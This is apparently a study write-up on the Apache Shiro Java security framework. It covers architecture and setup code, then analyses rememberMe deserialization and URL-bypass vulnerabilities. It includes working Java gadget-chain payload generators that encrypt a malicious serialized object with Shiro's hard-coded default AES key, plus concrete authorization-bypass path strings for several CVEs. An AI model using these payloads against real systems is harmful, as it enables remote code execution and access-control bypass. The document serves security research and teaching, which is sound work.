Shiro Security

Shiro Security

Introduction

Architecture

Shiro is a Java security framework under Apache that implements authentication, authorization, cryptography, session management.

Subject:

Subject is the object that interacts with the current application and is also the object that Shiro manages security for.

SecurityManager:

SecurityManager is the core of Shiro and is responsible for managing all subjects.

Authenticator:

Authenticate the user when they log in

Authorizer:

When accessing a function, the authorizer determines whether the user has the permission to operate this function.

Realm:

SecurityManager needs to obtain user data through Realm when performing security authentication and authorization.

SessionManager:

Shiro’s session management does not rely on the session of the Web container, so Shiro can be used in non-web applications, and can also centralize the session management of distributed applications to achieve single sign-on.

SessionDAO:

A set of interfaces for Session operations.

CacheManager:

Storing user data in cache.

Cryptography:

Shiro provides a set of encryption/decryption components to facilitate development.

Quick Start

Experiment Setup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<dependencies>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.3</version>
</dependency>

<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.3.2</version>
</dependency>

<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
</dependency>
</dependencies>

Authentication

1
2
3
# shiro.ini
[users]
admin:123456
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.config.IniSecurityManagerFactory;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.Factory;
import org.junit.Test;

public class HelloShiro {
@Test
public void shiroLogin(){
Factory<SecurityManager> factory = new IniSecurityManagerFactory("classpath:shiro.ini");
SecurityManager securityManager = factory.getInstance();
SecurityUtils.setSecurityManager((SecurityManager) securityManager);
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken("admin", "123456");
subject.login(token);
if(subject.isAuthenticated()) {
System.out.println("Login Success");
} else {
System.out.println("Login Failure");
}
}
}
  • User information such as username and password is encapsulated as a token
  • The Subject obtains the token and passes it to the SecurityManager
  • SecurityManager delegates token to Authenticator for identity authentication
  • Authenticator compares the token with Realm to verify the legitimacy of the token

Custom Realm

We can customize realm to get user data.

1
2
3
4
5
package Service;

public interface SecurityService {
String findPasswordByLoginName(String loginName);
}
1
2
3
4
5
6
7
8
9
10
package Service.Impl;

import Service.SecurityService;

public class SecurityServiceImpl implements SecurityService {
@Override
public String findPasswordByLoginName(String loginName) {
return loginName;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Realm;

import org.apache.shiro.authc.*;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
import Service.SecurityService;
import Service.Impl.SecurityServiceImpl;

public class MyRealm extends AuthorizingRealm {
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
return null;
}

@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
String loginName = (String)token.getPrincipal();
SecurityService service = new SecurityServiceImpl();
String password = service.findPasswordByLoginName(loginName);
if ("".equals(password)||password==null){
throw new UnknownAccountException("User Does not exist");
}
return new SimpleAuthenticationInfo(loginName,password,getName());
}
}
1
2
3
4
# shiro.ini
[main]
definitionRealm=realm.MyRealm
securityManager.realms=$definitionRealm

Authorization

We need to overwrite the doGetAuthorizationInfo function

1
2
3
4
5
6
7
8
9
10
11
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
String loginName = (String) principalCollection.getPrimaryPrincipal();
SecurityService securityService = new SecurityServiceImpl();
List<String> roles = securityService.findRoleByloginName(loginName);
List<String> permissions = securityService.findPermissionByloginName(loginName);
SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo();
authorizationInfo.addRoles(roles);
authorizationInfo.addStringPermissions(permissions);
return authorizationInfo;
}

Overview

Shiro’s security issues are mainly divided into two categories, one is the deserialization vulnerability, the other is the URL bypass vulnerability. The core of deserialization is the hard-coded AES key, and the core of URL bypass is actually the inconsistency between the URI obtained by Shiro and the actual accessed URI.

Remember Me Deserialization

With CC

1
HashMap.readObject => HashMap.hash => key.hashCode TiedMapEntry.hashCode => TiedMapEntry.getValue => map.get(key) => LazyMap.get(TemplatesImpl) => InvokerTransformer.transform(TemplatesImpl) => newTransformer()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class GenePayLoad {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static byte[] CC11_PayLoad(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

// 先设置成人畜无害的getClass方法,避免本地调试触发payload
Transformer transformer = new InvokerTransformer("getClass", null, null);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "xxx");

outerMap.clear();

setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();

return baos.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] codes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
AesCipherService aes = new AesCipherService();
byte[] key =
java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(CC11_PayLoad(codes), key);
System.out.printf(ciphertext.toString());
}
}

With CB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",
new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue pq = new PriorityQueue(comparator);
setFieldValue(pq, "size", 2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(pq, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(pq);
oos.close();
// System.out.println(barr);
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
}

CVE-2010-3863 Request URI ByPass

Experiment Setup

shiro <= 1.0.0

https://blog.csdn.net/Xxy605/article/details/125404334

Code Analyse

The logic of URL validation is in PathMatchingFilterChainResolver$getChain, but there is no standardization of URLs, which causes bypass.

The subsequent repair is to add the normalize method, handled the cases of //, ./ and ../

CVE-2016-6802 Context Path ByPass

Experiment Setup

shrio <1.3.2

Code Analyse

Let’s Debug the getContextPath method

The call here is Tomcat’s built-in getContextPath, and the method is to concatenate URIs from left to right until the current URI after normalization is the same as the context.

However, Shiro does not normalize the Context, which causes Shiro to not truncate the URI.

CVE-2020-* Request URI ByPass

Experiment Setup

shiro < 1.5.2

Exploit

In CVE-2020-1957, /hello/* can match the /hello/1 but /hello/1/ can bypass.

In CVE-2020-2957, /aaaa;/../hello/1 can bypass

In CVE-2020-11989, /;/../hello/1 can bypass

In CVE-2020-13933, /hello/%3B1 can bypass

Reference

https://p4d0rn.gitbook.io/java/shiro/shiro